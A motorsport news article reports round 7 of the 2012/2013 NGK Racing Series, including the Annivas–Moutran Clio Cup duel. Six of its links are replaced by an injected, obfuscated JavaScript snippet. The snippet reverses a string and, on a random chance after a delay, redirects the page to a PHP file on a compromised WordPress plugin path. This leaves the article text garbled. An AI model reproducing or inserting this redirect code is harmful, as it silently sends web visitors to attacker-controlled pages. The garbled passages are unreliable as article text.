NGK Racing Series. Round 7, Autodrome. To The Wire (For Some)

Alexander Annivas and Ramzi Moutran take it to the edge in the latest round of the 2012/2013 NGK Racing Series as the battle continues in the Clio Cup.

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“You missed some good racing at the last round”.

Busted! Alexander Annivas smiles as he says this at the penultimate round of the $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae-touring-cars/” target=”_blank”>NGK Racing Series, as my hopes that crankandpiston’s recent absence from the circuit would glide beneath the radar now lie in tatters.

Ever the showman though, Alexander – along with Ramzi Moutran, Will Morrison and $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/porsche-964-turbo-965-3-6-litre-a-rare-breed/” target=”_blank”>Guillaume Simmonet – produced a stellar couple of races guaranteed to send the battle for the 2012/2013 Clio Cup down to wire.

Brian McGinley could well have been in with a shot of making life slightly difficult for Papantonis on his latest sporadic appearance in this year’s $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/tags/uae-touring-cars/” target=”_blank”>NGK Racing Series, though a barrage of technical issues made that difficult. Mechanical maladies in qualifying left the Brit stone last on the grid for race one, though the sheer grunt of the Opel Astra at the first rolling start at least brought McGinley into second place behind Papantonis as the field completed lap one. Come the fifth tour however, the Astra disappeared.

‘Fluid management issues’ – which we translated to mean ‘forgot to fill up’ – left the Opel stranded out on-track, leaving Papantionis free to waltz away for victory. Oddly enough, a fired up McGinley would fare no better in race two, losing over 10 seconds on lap four – having again fought his way past the field from the back of the grid – and dropping behind the Honda Integra of Rupesh Channake. The Lap57 driver had caught Papantonis unawares on both rolling starts, though the Honda would prove no match for the SEAT on out and out grunt. One lap later, McGinley once again disappeared off the rader, Channake – as he had been in race one – consequently left unchallenged to take second overall and double Class 2 victories. A clearly frustrated McGinley at least made it back to pitroad this time, but would call it an early weekend soon after.

All seemed fated for a processional race, though Annivas and Moutran fortunately had other ideas. The two Clios, which came into the weekend locked together in the standings, gave no quarter and expected none either around the 3.5km National circuit. Moutran would take Clio Cup pole position for race one while Annivas would do so for race two, though neither would maintain their respective advantages past the first turn. Let battle commence.

Morrison and Simmonet in the remaining Clios were soon left behind, though Morrison – despite grinding to a halt on the exit or turn 16 in race two – would at least secure third place in the Clio class in the opening race. Simmonet, after a hearty scrap with Jonathan Mullan in the Honda Integra Type R – whose lack of power on the main straight has tempted him to skip the last round, though fan of the series hope he changes his mind – would eventually take third in the second race. Newboy Mohammed Al Hammadi meanwhile, in the same Lap57 Honda that $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-track/2013-dubai-24hrs-the-local-boys-uae-honours/” target=”_blank”>took class victory at the Dubai 24hours in January, was satisfied to get some solid running under his belt ahead of the team’s assault on the series next season.

Up front though, all eyes were on the Moutran-Annivas battle. In the opening encounter, the Duel Racing entry stalked the Grecian for nine laps before making an almost impossibly late lunge into turn one. He was through, though victory was far from in the bag as Annivas began his own charge with only three laps left to run. Into the closing stages of race one, the gap was never more than two-tenths of a second, and on the run-down to the first turn after receiving the white flag, Annivas went for another suicide dive down the inside. And made it stick. Third place overall, and Clio Cup victory, went to the Petrochem squad.

Incredibly, the fight was even closer in the second race (even though only 0.201s had separated the pair at the flag in race one). With Annivas this time on pole, Moutran stole a march after a clean start, and the fight was on again. Down once again came the gap, and once or twice the pair came close to touching in a drag race down the straight: we could barely look when the pair, mere inches apart, passed terrifyingly close to the pitwall. Indeed, one or twice the call came from race control to beware of the track limits, though admirably the boys in the stewards office were still giving the battling Clios just enough leeway to keep the action on a knife-edge.

Annivas’ charge this time came a lot quicker, and on the run into the turn eight on the fourth lap, the Gulf Clio shot through the half open gap. The gap, pegged at just over half a second wavered this way and that, but stayed relatively intact as the laps ticked by. Annivas, following a bad exit from the final turn, was not expecting a terrific run from Moutran out of the same turn on the last lap. On the outside line across the stripe, the Brit was an agonising 0.145s away from stealing victory at the flag. Annivas’ lucky baggy racesuit had clearly been working overtime this weekend, as – no doubt – he hopes it will be next time out at the 2012/2013 NGK Racing Series finale.

$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/formula-gulf-1000-rd-6ngk/” target=”_blank”>- FULL GALLERY OF IMAGES AVAILABLE HERE – CLICK – Shots courtesy of David Benson

NGK Racing Series. Round 7, Autodrome. To The Wire (For Some)

James Gent

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